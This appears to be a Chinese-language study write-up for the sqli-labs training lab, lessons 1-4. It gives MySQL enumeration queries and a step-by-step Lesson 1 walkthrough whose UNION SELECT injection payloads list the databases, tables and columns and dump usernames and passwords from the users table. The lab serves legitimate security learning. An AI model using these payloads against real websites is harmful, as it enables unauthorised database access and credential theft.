sql-lib闯关之lesson1-4

在开始闯关之前，我们记录一些基础笔记

几个常用的函数：

1.version（） --Mysql版本

2.user（） --数据库用户名

3.database（） --数据库名

4.@@datadir --数据库安装路径

5.@@version_compile_os --操作系统的版本

常用的语句（重要）：

1.查库：select schema_name from information_schema.schemata

2.查表：select table_name from information_schema.tables where table_schema='security'(此表名用的时候大多数转为16进制)

3.查列：select column_name from information_schema.columns where table_name='users'

4.查字段：select username,password from security.users

注释符：# --+ --空

字符串连接函数：

1.concat(字符串1，字符串2) --没有分隔符的连接字符串

2.concat（-/~，字符串1，字符串2） --含有分隔符的连接字符串

3.group_concat(字符串1，字符串2) --连接一个组的所有字符串，并用，分隔每一个字符。

1..order by + n ：查询结果根据第n列排序

2.在使用 order by 测试出列数后，使用 union + 数字查看回显信息，测试回显的哪几列，

　A and B A,B都Ture 结果才为Ture

　A or B A,B 有一个Ture 结果就为Ture

mysql登录

1、明文密码在bin目录下输入：mysql -u 账户 -p 密码

2、**密码在bin目录下输入：mysql -u 账户 -p 后回车再输入密码

以及了解注入中字符型数字型搜索型区别和判断
区别：
https://blog.csdn.net/change518/article/details/8116920/
判断：
https://blog.csdn.net/qq_30464257/article/details/84495884
判断中讲的比较简单明了，根据闯关结合容易理解了就。

总结一下

第一关：id=’1‘

第二关：id=1

第三关：id=（’1‘）

第四关：id= （“1”）

LESSON1
1.在进行注入前判断注入类型。
我们看到第一关的要求：请输入ID作为数字型参数

(1)?id=1 正常

(2)?id=1' 报错

(3)?id=1'' 又恢复正常

由此，单引号错误，双引号恢复正常，可见是字符型注入。

2.对列进行判断（通过order by进行判断）
可以采用二分法去猜测。

由此判断一共有三列

3.判断回显位置。
输入？id=-1' union select 1,2,3 --+ (union联合注入查询)
必须在union前的参数报错才可以执行，所以将id=1改为id=-1

用户名为第二列，密码为第三列。

4.查询所有数据库

输入：?id=-1' union select 1,(select group_concat(schema_name) from information_schema.schemata),3 --+

查库操作发现共有库：information_schema,challenges,dvwa,jokedb,mysql,pikachu,pkxss,security,test
5.显示当前所在的数据库名
输入：？id=-1' union select 1，database（），3 --+

所在库为 security
6.查询数据库的表名
输入： ?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema="security" --+

表信息：emails,referers,uagents,users
注意在使用 table_schema=“security”时推荐将其变为16进制选中单词点击即可加入0x （16进制标志）

7.查询目标表的列（查列）
输入： ?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users' --+

可以看出列中含有 user和password列
8.查字段在user表中查询字段

查询的是password
输入?id=-1' union select 1,2,group_concat(password) from security.users --+

查询username

同时也可以使用 concat_ws（~，A,B）来同时查询username 和password
输入：?id=-1' union select 1,2,concat_ws("~",username,password) from security.users --+

我们发现只有一组数据，所以可以再次使用group_concat函数再次包裹（可以注意一下，同时其中的~号并不推荐可以改为16进制0x7e效果也是一样的）
?id=-1' union select 1,2,group_concat(concat_ws("~",username,password)) from security.users --+